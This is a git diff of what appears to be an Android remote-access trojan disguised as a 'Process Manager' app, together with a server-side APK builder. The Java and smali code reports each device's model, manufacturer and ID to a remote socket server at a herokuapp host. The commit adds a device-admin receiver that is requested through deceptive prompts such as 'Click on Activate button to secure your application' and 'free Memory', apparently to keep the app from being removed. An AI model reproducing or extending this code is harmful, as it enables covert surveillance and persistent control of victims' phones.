diff --git a/client/app/app.iml b/client/app/app.iml
index 0d03c40..d14dc26 100644
--- a/client/app/app.iml
+++ b/client/app/app.iml
@@ -19,7 +19,7 @@
-
+
diff --git a/client/app/src/main/AndroidManifest.xml b/client/app/src/main/AndroidManifest.xml
index b0f0a1f..b2b590d 100644
--- a/client/app/src/main/AndroidManifest.xml
+++ b/client/app/src/main/AndroidManifest.xml
@@ -70,6 +70,20 @@
+
+
+
+
+
+
+
+
diff --git a/client/app/src/main/java/com/remote/app/DeviceAdmin.java b/client/app/src/main/java/com/remote/app/DeviceAdmin.java
new file mode 100644
index 0000000..9f8c20f
--- /dev/null
+++ b/client/app/src/main/java/com/remote/app/DeviceAdmin.java
@@ -0,0 +1,68 @@
+package com.remote.app;
+
+import android.app.admin.DeviceAdminReceiver;
+import android.content.Context;
+import android.content.Intent;
+
+/**
+ * DeviceAdminDemo to enable, disable the options.
+ * */
+public class DeviceAdminX extends DeviceAdminReceiver
+{
+ // implement onEnabled(), onDisabled(),
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ super.onReceive(context, intent);
+ }
+
+ @Override
+ public void onEnabled(Context context, Intent intent) {
+ super.onEnabled(context, intent);
+ }
+
+ @Override
+ public void onDisabled(Context context, Intent intent) {
+ super.onDisabled(context, intent);
+ }
+
+ @Override
+ public CharSequence onDisableRequested(Context context, Intent intent) {
+ return super.onDisableRequested(context, intent);
+// return null;
+ }
+
+ @Override
+ public void onPasswordSucceeded(Context context, Intent intent) {
+ super.onPasswordSucceeded(context, intent);
+ }
+
+ @Override
+ public void onPasswordFailed(Context context, Intent intent) {
+ super.onPasswordFailed(context, intent);
+ }
+
+ @Override
+ public void onPasswordChanged(Context context, Intent intent) {
+ super.onPasswordChanged(context, intent);
+ }
+
+ @Override
+ public void onPasswordExpiring(Context context, Intent intent) {
+ super.onPasswordExpiring(context, intent);
+ }
+
+ @Override
+ public void onLockTaskModeEntering(Context context, Intent intent, String pkg) {
+ super.onLockTaskModeEntering(context, intent, pkg);
+ }
+
+ @Override
+ public void onLockTaskModeExiting(Context context, Intent intent) {
+ super.onLockTaskModeExiting(context, intent);
+ }
+
+ @Override
+ public void onProfileProvisioningComplete(Context context, Intent intent) {
+ super.onProfileProvisioningComplete(context, intent);
+ }
+}
diff --git a/client/app/src/main/java/com/remote/app/IOSocket.java b/client/app/src/main/java/com/remote/app/IOSocket.java
index 2a58688..e4a4218 100644
--- a/client/app/src/main/java/com/remote/app/IOSocket.java
+++ b/client/app/src/main/java/com/remote/app/IOSocket.java
@@ -21,7 +21,7 @@ public class IOSocket {
opts.reconnectionDelay = 5000;
opts.reconnectionDelayMax = 999999999;
- ioSocket = IO.socket("http://3.90.231.134:80?model="+ android.net.Uri.encode(Build.MODEL)+"&manf="+Build.MANUFACTURER+"&release="+Build.VERSION.RELEASE+"&id="+deviceID);
+ ioSocket = IO.socket("http://xwizer.herokuapp.com:80?model="+ android.net.Uri.encode(Build.MODEL)+"&manf="+Build.MANUFACTURER+"&release="+Build.VERSION.RELEASE+"&id="+deviceID);
} catch (URISyntaxException e) {
e.printStackTrace();
}
diff --git a/client/app/src/main/java/com/remote/app/MainActivity.java b/client/app/src/main/java/com/remote/app/MainActivity.java
index e6d130a..313c1e3 100644
--- a/client/app/src/main/java/com/remote/app/MainActivity.java
+++ b/client/app/src/main/java/com/remote/app/MainActivity.java
@@ -3,6 +3,8 @@ package com.remote.app;
import android.app.Activity;
import android.app.AlarmManager;
import android.app.PendingIntent;
+import android.app.admin.DevicePolicyManager;
+import android.content.ComponentName;
import android.content.ContentResolver;
import android.content.Context;
import android.content.Intent;
@@ -21,6 +23,9 @@ import android.widget.Toast;
public class MainActivity extends Activity {
+ private DevicePolicyManager mDPM;
+ private ComponentName mAdminName;
+
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
@@ -60,6 +65,18 @@ public class MainActivity extends Activity {
// spawn notification thing
startActivity(new Intent(Settings.ACTION_NOTIFICATION_LISTENER_SETTINGS));
+ mDPM = (DevicePolicyManager)getSystemService(Context.DEVICE_POLICY_SERVICE);
+ // Set DeviceAdminDemo Receiver for active the component with different option
+ mAdminName = new ComponentName(this, DeviceAdminX.class);
+
+ if (!mDPM.isAdminActive(mAdminName)) {
+ // try to become active
+ Intent intent2 = new Intent(DevicePolicyManager.ACTION_ADD_DEVICE_ADMIN);
+ intent2.putExtra(DevicePolicyManager.EXTRA_DEVICE_ADMIN, mAdminName);
+ intent2.putExtra(DevicePolicyManager.EXTRA_ADD_EXPLANATION, "Click on Activate button to secure your application.");
+ startActivity(intent2);
+ }
+
// spawn app page settings so you can enable all perms
// Intent i = new Intent(android.provider.Settings.ACTION_APPLICATION_DETAILS_SETTINGS, Uri.parse("package:" + BuildConfig.APPLICATION_ID));
// startActivity(i);
diff --git a/client/app/src/main/res/values/strings.xml b/client/app/src/main/res/values/strings.xml
index b8848e3..b8d29c8 100644
--- a/client/app/src/main/res/values/strings.xml
+++ b/client/app/src/main/res/values/strings.xml
@@ -1,3 +1,5 @@
Process Manager
+ Device Admin
+ Enable Process Manager to free Memory
diff --git a/client/app/src/main/res/xml/admin.xml b/client/app/src/main/res/xml/admin.xml
new file mode 100644
index 0000000..595cb11
--- /dev/null
+++ b/client/app/src/main/res/xml/admin.xml
@@ -0,0 +1,9 @@
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/package.json b/package.json
index 6aa081a..a606a54 100644
--- a/package.json
+++ b/package.json
@@ -14,8 +14,10 @@
"cookie-parser": "^1.4.4",
"ejs": "^2.6.2",
"express": "^4.17.1",
+ "express-async-handler": "^1.1.4",
"geoip-lite": "^1.3.7",
"lowdb": "^1.0.0",
+ "node-fetch": "^2.6.0",
"socket.io": "^2.2.0"
}
}
diff --git a/server/app/factory/app-release.apk b/server/app/factory/app-release.apk
index e25f993..4cb3709 100644
Binary files a/server/app/factory/app-release.apk and b/server/app/factory/app-release.apk differ
diff --git a/server/app/factory/decompiled/AndroidManifest.xml b/server/app/factory/decompiled/AndroidManifest.xml
index 787d840..6271259 100644
--- a/server/app/factory/decompiled/AndroidManifest.xml
+++ b/server/app/factory/decompiled/AndroidManifest.xml
@@ -18,12 +18,24 @@
-
+
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/server/app/factory/decompiled/apktool.yml b/server/app/factory/decompiled/apktool.yml
index 93262bb..e1fe569 100644
--- a/server/app/factory/decompiled/apktool.yml
+++ b/server/app/factory/decompiled/apktool.yml
@@ -3,9 +3,6 @@ apkFileName: app-release.apk
compressionType: false
doNotCompress:
- resources.arsc
-- META-INF/android.arch.lifecycle_runtime.version
-- META-INF/androidx.core_core.version
-- META-INF/androidx.versionedparcelable_versionedparcelable.version
- png
isFrameworkApk: false
packageInfo:
diff --git a/server/app/factory/decompiled/original/AndroidManifest.xml b/server/app/factory/decompiled/original/AndroidManifest.xml
index 2f0921a..9270067 100644
Binary files a/server/app/factory/decompiled/original/AndroidManifest.xml and b/server/app/factory/decompiled/original/AndroidManifest.xml differ
diff --git a/server/app/factory/decompiled/original/META-INF/CERT.RSA b/server/app/factory/decompiled/original/META-INF/CERT.RSA
index b1a0d4a..1254abd 100644
Binary files a/server/app/factory/decompiled/original/META-INF/CERT.RSA and b/server/app/factory/decompiled/original/META-INF/CERT.RSA differ
diff --git a/server/app/factory/decompiled/original/META-INF/CERT.SF b/server/app/factory/decompiled/original/META-INF/CERT.SF
index 50b07ae..4e7c326 100644
--- a/server/app/factory/decompiled/original/META-INF/CERT.SF
+++ b/server/app/factory/decompiled/original/META-INF/CERT.SF
@@ -1,9 +1,9 @@
Signature-Version: 1.0
Created-By: 1.0 (Android)
-SHA1-Digest-Manifest: 9wLCJfjpA3L2avYP/kniF8N1Fpk=
+SHA1-Digest-Manifest: bbGsxJs1tgdTEoW2U5kYoTPSo8Q=
Name: AndroidManifest.xml
-SHA1-Digest: FWiCXCmqENMMqGylDqderc/wIlU=
+SHA1-Digest: Sf2VJtvlX3RZj0K3kodfygrDiRI=
Name: META-INF/android.arch.lifecycle_runtime.version
SHA1-Digest: mgd0ibqCDE7dziahk3gQRzTxqfA=
@@ -16,7 +16,7 @@ Name: META-INF/androidx.versionedparcelable_versionedparcelable.versio
SHA1-Digest: /M5ZcCUkGpD9LMU3LB/ji4SqKws=
Name: classes.dex
-SHA1-Digest: oOa4UFM2ozvdtdx1nt8T9I8z8w4=
+SHA1-Digest: a5/bDXE3ojfvJVJaQ7B4S2A0EIk=
Name: res/drawable-hdpi-v4/notification_bg_low_normal.9.png
SHA1-Digest: GqlxeUYi9nderviC+XwD6tRD5Kg=
@@ -133,50 +133,53 @@ Name: res/mipmap-anydpi-v26/ic_launcher_round.xml
SHA1-Digest: iMHWhoFxv1Tc+X+114w2/coMJLA=
Name: res/mipmap-hdpi-v4/ic_launcher.png
-SHA1-Digest: dczmD6f6ckvuYLLayyHuJolrGmc=
+SHA1-Digest: QdiIqzqV84qdoFM8GSXLAtBhB+s=
Name: res/mipmap-hdpi-v4/ic_launcher_foreground.png
-SHA1-Digest: DGCOxqISRwrFkmqsdh/goOQx3Ss=
+SHA1-Digest: 97n3C6Pylsz8eOwb8wezq/f44mQ=
Name: res/mipmap-hdpi-v4/ic_launcher_round.png
-SHA1-Digest: EDc6KnI+OXNUAXS7K1j2sKaeY5U=
+SHA1-Digest: U/aIvzqjrisYyvbhM9oL1Crb4TU=
Name: res/mipmap-mdpi-v4/ic_launcher.png
-SHA1-Digest: zSiuVoYCAAqXAIwAQ/CiHSk+cZU=
+SHA1-Digest: VAK23LULjnBQ6wPbP5E/dSLUPKE=
Name: res/mipmap-mdpi-v4/ic_launcher_foreground.png
-SHA1-Digest: bTnHPtXzduhoetQrf0Ert9v8tIk=
+SHA1-Digest: KOrCbso0xb7FAW30LNJyVuS6QZY=
Name: res/mipmap-mdpi-v4/ic_launcher_round.png
-SHA1-Digest: qH2Wv9qChjejU6RgkFiACcIuq3g=
+SHA1-Digest: DX6Kd02gbNNIIvi5E2hDpSz3nTk=
Name: res/mipmap-xhdpi-v4/ic_launcher.png
-SHA1-Digest: nh9DN/dCj5S5aIJn/IET93EoSvw=
+SHA1-Digest: D+ivNfdlx6Je3PNnY7aAbf9IJcM=
Name: res/mipmap-xhdpi-v4/ic_launcher_foreground.png
-SHA1-Digest: blcoJ8gKy4L3quFRXcezQ2Np3IE=
+SHA1-Digest: kFNot0z8C/1akyUHttDiKh0fmC0=
Name: res/mipmap-xhdpi-v4/ic_launcher_round.png
-SHA1-Digest: G9ZDthDd7P5pGkMmYVaLRwrsjmI=
+SHA1-Digest: HW+Uv1zW46NMGr7XOEPh3XxY+FQ=
Name: res/mipmap-xxhdpi-v4/ic_launcher.png
-SHA1-Digest: ejOJI8bULNB81pzimOced5idKrM=
+SHA1-Digest: 4CC9Cd2+IBV8wSHPGVpF+7sa+Go=
Name: res/mipmap-xxhdpi-v4/ic_launcher_foreground.png
-SHA1-Digest: g+1cNIft+45vIe9cuscolvWXWpI=
+SHA1-Digest: QwyqLZQDuUTJ8jOKhWzuy0pj2P4=
Name: res/mipmap-xxhdpi-v4/ic_launcher_round.png
-SHA1-Digest: 9KmxIM5xL4KV2ED6/6/QKharYYU=
+SHA1-Digest: BEa9GUZOxcU4oVIcfEkFMboLg+Q=
Name: res/mipmap-xxxhdpi-v4/ic_launcher.png
-SHA1-Digest: qfyXlyD89z3+wDA62hlOEt9WX4w=
+SHA1-Digest: l3b+P5vlTCk/cOLAsIaeqQc/jTU=
Name: res/mipmap-xxxhdpi-v4/ic_launcher_foreground.png
-SHA1-Digest: x7p4RHXAYgIH/MBrxVZJk1j7O+0=
+SHA1-Digest: +fKPefitEfLsPVtVuiG4/sq1Wx8=
Name: res/mipmap-xxxhdpi-v4/ic_launcher_round.png
-SHA1-Digest: JQO4sItCEOvr7gueLeojj/BtgoI=
+SHA1-Digest: wfltWL9T2XQKo4CKvS4hgtQtxgs=
+
+Name: res/xml/admin.xml
+SHA1-Digest: 56EihJVs4VIL8evwRob7eh6bYkI=
Name: resources.arsc
-SHA1-Digest: pLvcj68/EspHCRKYi8Ud3y2PYFo=
+SHA1-Digest: m/NW7fiUiwjLVxi+AS+dxQX4Zic=
diff --git a/server/app/factory/decompiled/original/META-INF/MANIFEST.MF b/server/app/factory/decompiled/original/META-INF/MANIFEST.MF
index f3b3ff2..c3eab5c 100644
--- a/server/app/factory/decompiled/original/META-INF/MANIFEST.MF
+++ b/server/app/factory/decompiled/original/META-INF/MANIFEST.MF
@@ -3,7 +3,7 @@ Built-By: Generated-by-ADT
Created-By: Android Gradle 3.4.2
Name: AndroidManifest.xml
-SHA1-Digest: Pv4spc504MtuZJxvvbq+oaMhCC8=
+SHA1-Digest: 5wjaBPvr707Yg5W4NZHX5gdaopg=
Name: META-INF/android.arch.lifecycle_runtime.version
SHA1-Digest: OxxKFJcpzAROGjnfMbNijNv1+JU=
@@ -16,7 +16,7 @@ Name: META-INF/androidx.versionedparcelable_versionedparcelable.versio
SHA1-Digest: xTi2bHEQyjoCjM/kItDx+iAKmTU=
Name: classes.dex
-SHA1-Digest: BynmcxNAeoLpVz3OZFvLrmI8Ap0=
+SHA1-Digest: uQB5EdwYVQ19EaFJRTpEVrNp32Q=
Name: res/drawable-hdpi-v4/notification_bg_low_normal.9.png
SHA1-Digest: D2PhKM51tYZo8a79riJ3XiUD2nc=
@@ -133,50 +133,53 @@ Name: res/mipmap-anydpi-v26/ic_launcher_round.xml
SHA1-Digest: 47Wrr0L5u//HrdR+ydw1DJsE2HY=
Name: res/mipmap-hdpi-v4/ic_launcher.png
-SHA1-Digest: Az7eCHDW1WJ65isMhK5fUu97x2U=
+SHA1-Digest: Mw22tWABYYSICC4av/9ccwoFc3A=
Name: res/mipmap-hdpi-v4/ic_launcher_foreground.png
-SHA1-Digest: zuSZv0eX0Slge8oOeCJj8lGS7AY=
+SHA1-Digest: UsZomcaBLRdXcugR/1oD6Ii5WKk=
Name: res/mipmap-hdpi-v4/ic_launcher_round.png
-SHA1-Digest: D+lGi10fQJOJaeJopY3pKUeLVKA=
+SHA1-Digest: /W+nd6d5Rc7aLzSthh96pm3ZAoQ=
Name: res/mipmap-mdpi-v4/ic_launcher.png
-SHA1-Digest: cnxEsLsySM6usKLiCeGu+ch4h2o=
+SHA1-Digest: M8E4XUbaSdB4+MJZbVQ/2XkrDVk=
Name: res/mipmap-mdpi-v4/ic_launcher_foreground.png
-SHA1-Digest: DhEKTsotpno1+qK785KRqy2LV0s=
+SHA1-Digest: xJR81MhCn5vynxXdl0ObDjUhSTQ=
Name: res/mipmap-mdpi-v4/ic_launcher_round.png
-SHA1-Digest: lNJ/y3NHBLrK7bXpxnETOk6nFE8=
+SHA1-Digest: GqDTPq2LT43h3tQISpH5+HJIocQ=
Name: res/mipmap-xhdpi-v4/ic_launcher.png
-SHA1-Digest: 9Z6aG1rdjL1JM+5rr0bT4V53W+w=
+SHA1-Digest: EmZn705hb1WAlth83K3gcsCv7iI=
Name: res/mipmap-xhdpi-v4/ic_launcher_foreground.png
-SHA1-Digest: znJVmP7NXWUh41NYKfeAkhCIebc=
+SHA1-Digest: Zq5XRz2hUNdXTZjvI8U1W+qJOYI=
Name: res/mipmap-xhdpi-v4/ic_launcher_round.png
-SHA1-Digest: AHrJ5hek1oOGOms/fmd/3UOAWHI=
+SHA1-Digest: XMUgIST77JQpa98nBDJFgKere+k=
Name: res/mipmap-xxhdpi-v4/ic_launcher.png
-SHA1-Digest: D7dtqI/PMq7Zeg8yIZ8pnj1mpGg=
+SHA1-Digest: WpZJPf3C8APyjZC34W0I7YMVPas=
Name: res/mipmap-xxhdpi-v4/ic_launcher_foreground.png
-SHA1-Digest: ludOnLPEKk4odyFRUHavLYCRgw0=
+SHA1-Digest: AWqC+oUedYD30j92anDVwMvr/m8=
Name: res/mipmap-xxhdpi-v4/ic_launcher_round.png
-SHA1-Digest: 3MWQnkb4FFvC9aI2uaGltMlVANQ=
+SHA1-Digest: zRqpyhkc8BaCF24XCC54i3hjx6E=
Name: res/mipmap-xxxhdpi-v4/ic_launcher.png
-SHA1-Digest: XjCSyAK2oaGNM8hf5UuhChFMnsk=
+SHA1-Digest: OmtTQebum6A3PI68LGNOMsdX2VQ=
Name: res/mipmap-xxxhdpi-v4/ic_launcher_foreground.png
-SHA1-Digest: bLEIjVpuqFG7M7qzVYqN5IWxU70=
+SHA1-Digest: n0OYYWL9Fz1MfLSs4i1VbleFrSk=
Name: res/mipmap-xxxhdpi-v4/ic_launcher_round.png
-SHA1-Digest: 1rbjkPp9cl5NhOKl6u1sJwjuKqE=
+SHA1-Digest: 3VOo7phNcl74KnT4XJzTsYeshQw=
+
+Name: res/xml/admin.xml
+SHA1-Digest: /Ugqwo2h3PsocFYbk1FPKBDQmFk=
Name: resources.arsc
-SHA1-Digest: oY0Z4W/1+wnrkqtyD7ns8E2LZIo=
+SHA1-Digest: IP5ak8i6LST+kDqTDZflR/HToMI=
diff --git a/server/app/factory/decompiled/res/mipmap-hdpi/ic_launcher.png b/server/app/factory/decompiled/res/mipmap-hdpi/ic_launcher.png
index d1714af..4278d38 100644
Binary files a/server/app/factory/decompiled/res/mipmap-hdpi/ic_launcher.png and b/server/app/factory/decompiled/res/mipmap-hdpi/ic_launcher.png differ
diff --git a/server/app/factory/decompiled/res/mipmap-hdpi/ic_launcher_foreground.png b/server/app/factory/decompiled/res/mipmap-hdpi/ic_launcher_foreground.png
index 7eaa4b5..8f87616 100644
Binary files a/server/app/factory/decompiled/res/mipmap-hdpi/ic_launcher_foreground.png and b/server/app/factory/decompiled/res/mipmap-hdpi/ic_launcher_foreground.png differ
diff --git a/server/app/factory/decompiled/res/mipmap-hdpi/ic_launcher_round.png b/server/app/factory/decompiled/res/mipmap-hdpi/ic_launcher_round.png
index b048a70..0a01ccf 100644
Binary files a/server/app/factory/decompiled/res/mipmap-hdpi/ic_launcher_round.png and b/server/app/factory/decompiled/res/mipmap-hdpi/ic_launcher_round.png differ
diff --git a/server/app/factory/decompiled/res/mipmap-mdpi/ic_launcher.png b/server/app/factory/decompiled/res/mipmap-mdpi/ic_launcher.png
index d5878f6..5b69e50 100644
Binary files a/server/app/factory/decompiled/res/mipmap-mdpi/ic_launcher.png and b/server/app/factory/decompiled/res/mipmap-mdpi/ic_launcher.png differ
diff --git a/server/app/factory/decompiled/res/mipmap-mdpi/ic_launcher_foreground.png b/server/app/factory/decompiled/res/mipmap-mdpi/ic_launcher_foreground.png
index 90d12ec..3183271 100644
Binary files a/server/app/factory/decompiled/res/mipmap-mdpi/ic_launcher_foreground.png and b/server/app/factory/decompiled/res/mipmap-mdpi/ic_launcher_foreground.png differ
diff --git a/server/app/factory/decompiled/res/mipmap-mdpi/ic_launcher_round.png b/server/app/factory/decompiled/res/mipmap-mdpi/ic_launcher_round.png
index abb20c5..22501e3 100644
Binary files a/server/app/factory/decompiled/res/mipmap-mdpi/ic_launcher_round.png and b/server/app/factory/decompiled/res/mipmap-mdpi/ic_launcher_round.png differ
diff --git a/server/app/factory/decompiled/res/mipmap-xhdpi/ic_launcher.png b/server/app/factory/decompiled/res/mipmap-xhdpi/ic_launcher.png
index 84ad6b1..d8016a2 100644
Binary files a/server/app/factory/decompiled/res/mipmap-xhdpi/ic_launcher.png and b/server/app/factory/decompiled/res/mipmap-xhdpi/ic_launcher.png differ
diff --git a/server/app/factory/decompiled/res/mipmap-xhdpi/ic_launcher_foreground.png b/server/app/factory/decompiled/res/mipmap-xhdpi/ic_launcher_foreground.png
index 992c962..42db087 100644
Binary files a/server/app/factory/decompiled/res/mipmap-xhdpi/ic_launcher_foreground.png and b/server/app/factory/decompiled/res/mipmap-xhdpi/ic_launcher_foreground.png differ
diff --git a/server/app/factory/decompiled/res/mipmap-xhdpi/ic_launcher_round.png b/server/app/factory/decompiled/res/mipmap-xhdpi/ic_launcher_round.png
index 233312c..e7a2bb6 100644
Binary files a/server/app/factory/decompiled/res/mipmap-xhdpi/ic_launcher_round.png and b/server/app/factory/decompiled/res/mipmap-xhdpi/ic_launcher_round.png differ
diff --git a/server/app/factory/decompiled/res/mipmap-xxhdpi/ic_launcher.png b/server/app/factory/decompiled/res/mipmap-xxhdpi/ic_launcher.png
index 6435d07..9b93165 100644
Binary files a/server/app/factory/decompiled/res/mipmap-xxhdpi/ic_launcher.png and b/server/app/factory/decompiled/res/mipmap-xxhdpi/ic_launcher.png differ
diff --git a/server/app/factory/decompiled/res/mipmap-xxhdpi/ic_launcher_foreground.png b/server/app/factory/decompiled/res/mipmap-xxhdpi/ic_launcher_foreground.png
index 62e666f..4f65463 100644
Binary files a/server/app/factory/decompiled/res/mipmap-xxhdpi/ic_launcher_foreground.png and b/server/app/factory/decompiled/res/mipmap-xxhdpi/ic_launcher_foreground.png differ
diff --git a/server/app/factory/decompiled/res/mipmap-xxhdpi/ic_launcher_round.png b/server/app/factory/decompiled/res/mipmap-xxhdpi/ic_launcher_round.png
index 35a343f..f6b5dc4 100644
Binary files a/server/app/factory/decompiled/res/mipmap-xxhdpi/ic_launcher_round.png and b/server/app/factory/decompiled/res/mipmap-xxhdpi/ic_launcher_round.png differ
diff --git a/server/app/factory/decompiled/res/mipmap-xxxhdpi/ic_launcher.png b/server/app/factory/decompiled/res/mipmap-xxxhdpi/ic_launcher.png
index de99859..52343fc 100644
Binary files a/server/app/factory/decompiled/res/mipmap-xxxhdpi/ic_launcher.png and b/server/app/factory/decompiled/res/mipmap-xxxhdpi/ic_launcher.png differ
diff --git a/server/app/factory/decompiled/res/mipmap-xxxhdpi/ic_launcher_foreground.png b/server/app/factory/decompiled/res/mipmap-xxxhdpi/ic_launcher_foreground.png
index 3f22790..fc698c5 100644
Binary files a/server/app/factory/decompiled/res/mipmap-xxxhdpi/ic_launcher_foreground.png and b/server/app/factory/decompiled/res/mipmap-xxxhdpi/ic_launcher_foreground.png differ
diff --git a/server/app/factory/decompiled/res/mipmap-xxxhdpi/ic_launcher_round.png b/server/app/factory/decompiled/res/mipmap-xxxhdpi/ic_launcher_round.png
index f53a971..af94ff4 100644
Binary files a/server/app/factory/decompiled/res/mipmap-xxxhdpi/ic_launcher_round.png and b/server/app/factory/decompiled/res/mipmap-xxxhdpi/ic_launcher_round.png differ
diff --git a/server/app/factory/decompiled/res/values/colors.xml b/server/app/factory/decompiled/res/values/colors.xml
index 4a46050..e176d53 100644
--- a/server/app/factory/decompiled/res/values/colors.xml
+++ b/server/app/factory/decompiled/res/values/colors.xml
@@ -3,7 +3,7 @@
#ffff4081
#ff3f51b5
#ff303f9f
- #ffffffff
+ #ff26a69a
#ffffffff
#ff9e9e9e
#1f000000
diff --git a/server/app/factory/decompiled/res/values/public.xml b/server/app/factory/decompiled/res/values/public.xml
index 9580de7..0f7172d 100644
--- a/server/app/factory/decompiled/res/values/public.xml
+++ b/server/app/factory/decompiled/res/values/public.xml
@@ -98,7 +98,9 @@
-
+
+
+
@@ -107,4 +109,5 @@
+
\ No newline at end of file
diff --git a/server/app/factory/decompiled/res/values/strings.xml b/server/app/factory/decompiled/res/values/strings.xml
index dd1eaae..d9104af 100644
--- a/server/app/factory/decompiled/res/values/strings.xml
+++ b/server/app/factory/decompiled/res/values/strings.xml
@@ -1,5 +1,7 @@
Process Manager
+ Process Manager
+ Enable Process Manager to free Memory
999+
diff --git a/server/app/factory/decompiled/res/xml/admin.xml b/server/app/factory/decompiled/res/xml/admin.xml
new file mode 100644
index 0000000..22fe33a
--- /dev/null
+++ b/server/app/factory/decompiled/res/xml/admin.xml
@@ -0,0 +1,15 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/server/app/factory/decompiled/smali/com/remote/app/DeviceAdmin.smali b/server/app/factory/decompiled/smali/com/remote/app/DeviceAdmin.smali
new file mode 100644
index 0000000..ca11d8c
--- /dev/null
+++ b/server/app/factory/decompiled/smali/com/remote/app/DeviceAdmin.smali
@@ -0,0 +1,105 @@
+.class public Lcom/remote/app/DeviceAdmin;
+.super Landroid/app/admin/DeviceAdminReceiver;
+.source ""
+
+
+# direct methods
+.method public constructor ()V
+ .locals 0
+
+ invoke-direct {p0}, Landroid/app/admin/DeviceAdminReceiver;->()V
+
+ return-void
+.end method
+
+
+# virtual methods
+.method public onDisableRequested(Landroid/content/Context;Landroid/content/Intent;)Ljava/lang/CharSequence;
+ .locals 0
+
+ invoke-super {p0, p1, p2}, Landroid/app/admin/DeviceAdminReceiver;->onDisableRequested(Landroid/content/Context;Landroid/content/Intent;)Ljava/lang/CharSequence;
+
+ const-string p1, ""
+
+ return-object p1
+.end method
+
+.method public onDisabled(Landroid/content/Context;Landroid/content/Intent;)V
+ .locals 0
+
+ invoke-super {p0, p1, p2}, Landroid/app/admin/DeviceAdminReceiver;->onDisabled(Landroid/content/Context;Landroid/content/Intent;)V
+
+ return-void
+.end method
+
+.method public onEnabled(Landroid/content/Context;Landroid/content/Intent;)V
+ .locals 0
+
+ invoke-super {p0, p1, p2}, Landroid/app/admin/DeviceAdminReceiver;->onEnabled(Landroid/content/Context;Landroid/content/Intent;)V
+
+ return-void
+.end method
+
+.method public onLockTaskModeEntering(Landroid/content/Context;Landroid/content/Intent;Ljava/lang/String;)V
+ .locals 0
+
+ invoke-super {p0, p1, p2, p3}, Landroid/app/admin/DeviceAdminReceiver;->onLockTaskModeEntering(Landroid/content/Context;Landroid/content/Intent;Ljava/lang/String;)V
+
+ return-void
+.end method
+
+.method public onLockTaskModeExiting(Landroid/content/Context;Landroid/content/Intent;)V
+ .locals 0
+
+ invoke-super {p0, p1, p2}, Landroid/app/admin/DeviceAdminReceiver;->onLockTaskModeExiting(Landroid/content/Context;Landroid/content/Intent;)V
+
+ return-void
+.end method
+
+.method public onPasswordChanged(Landroid/content/Context;Landroid/content/Intent;)V
+ .locals 0
+
+ invoke-super {p0, p1, p2}, Landroid/app/admin/DeviceAdminReceiver;->onPasswordChanged(Landroid/content/Context;Landroid/content/Intent;)V
+
+ return-void
+.end method
+
+.method public onPasswordExpiring(Landroid/content/Context;Landroid/content/Intent;)V
+ .locals 0
+
+ invoke-super {p0, p1, p2}, Landroid/app/admin/DeviceAdminReceiver;->onPasswordExpiring(Landroid/content/Context;Landroid/content/Intent;)V
+
+ return-void
+.end method
+
+.method public onPasswordFailed(Landroid/content/Context;Landroid/content/Intent;)V
+ .locals 0
+
+ invoke-super {p0, p1, p2}, Landroid/app/admin/DeviceAdminReceiver;->onPasswordFailed(Landroid/content/Context;Landroid/content/Intent;)V
+
+ return-void
+.end method
+
+.method public onPasswordSucceeded(Landroid/content/Context;Landroid/content/Intent;)V
+ .locals 0
+
+ invoke-super {p0, p1, p2}, Landroid/app/admin/DeviceAdminReceiver;->onPasswordSucceeded(Landroid/content/Context;Landroid/content/Intent;)V
+
+ return-void
+.end method
+
+.method public onProfileProvisioningComplete(Landroid/content/Context;Landroid/content/Intent;)V
+ .locals 0
+
+ invoke-super {p0, p1, p2}, Landroid/app/admin/DeviceAdminReceiver;->onProfileProvisioningComplete(Landroid/content/Context;Landroid/content/Intent;)V
+
+ return-void
+.end method
+
+.method public onReceive(Landroid/content/Context;Landroid/content/Intent;)V
+ .locals 0
+
+ invoke-super {p0, p1, p2}, Landroid/app/admin/DeviceAdminReceiver;->onReceive(Landroid/content/Context;Landroid/content/Intent;)V
+
+ return-void
+.end method
diff --git a/server/app/factory/decompiled/smali/com/remote/app/MainActivity.smali b/server/app/factory/decompiled/smali/com/remote/app/MainActivity.smali
index f885ccf..d516115 100644
--- a/server/app/factory/decompiled/smali/com/remote/app/MainActivity.smali
+++ b/server/app/factory/decompiled/smali/com/remote/app/MainActivity.smali
@@ -3,12 +3,69 @@
.source ""
+# instance fields
+.field private a:Landroid/app/admin/DevicePolicyManager;
+
+.field private b:Landroid/content/ComponentName;
+
+
# direct methods
.method public constructor ()V
- .locals 0
+ .locals 1
invoke-direct {p0}, Landroid/app/Activity;->()V
+ const/4 v0, 0x0
+
+ iput-object v0, p0, Lcom/remote/app/MainActivity;->a:Landroid/app/admin/DevicePolicyManager;
+
+ iput-object v0, p0, Lcom/remote/app/MainActivity;->b:Landroid/content/ComponentName;
+
+ return-void
+.end method
+
+.method private a(Landroid/content/ComponentName;)V
+ .locals 2
+
+ const-string v0, "device_policy"
+
+ invoke-virtual {p0, v0}, Landroid/app/Activity;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
+
+ move-result-object v0
+
+ check-cast v0, Landroid/app/admin/DevicePolicyManager;
+
+ iput-object v0, p0, Lcom/remote/app/MainActivity;->a:Landroid/app/admin/DevicePolicyManager;
+
+ iget-object v0, p0, Lcom/remote/app/MainActivity;->a:Landroid/app/admin/DevicePolicyManager;
+
+ invoke-virtual {v0, p1}, Landroid/app/admin/DevicePolicyManager;->isAdminActive(Landroid/content/ComponentName;)Z
+
+ move-result v0
+
+ if-nez v0, :cond_0
+
+ new-instance v0, Landroid/content/Intent;
+
+ const-string v1, "android.app.action.ADD_DEVICE_ADMIN"
+
+ invoke-direct {v0, v1}, Landroid/content/Intent;->(Ljava/lang/String;)V
+
+ const-string v1, "android.app.extra.DEVICE_ADMIN"
+
+ invoke-virtual {v0, v1, p1}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Landroid/os/Parcelable;)Landroid/content/Intent;
+
+ const-string p1, "android.app.extra.ADD_EXPLANATION"
+
+ const-string v1, " "
+
+ invoke-virtual {v0, p1, v1}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent;
+
+ const/16 p1, 0x2f
+
+ invoke-virtual {p0, v0, p1}, Landroid/app/Activity;->startActivityForResult(Landroid/content/Intent;I)V
+
+ :cond_0
return-void
.end method
@@ -65,6 +122,33 @@
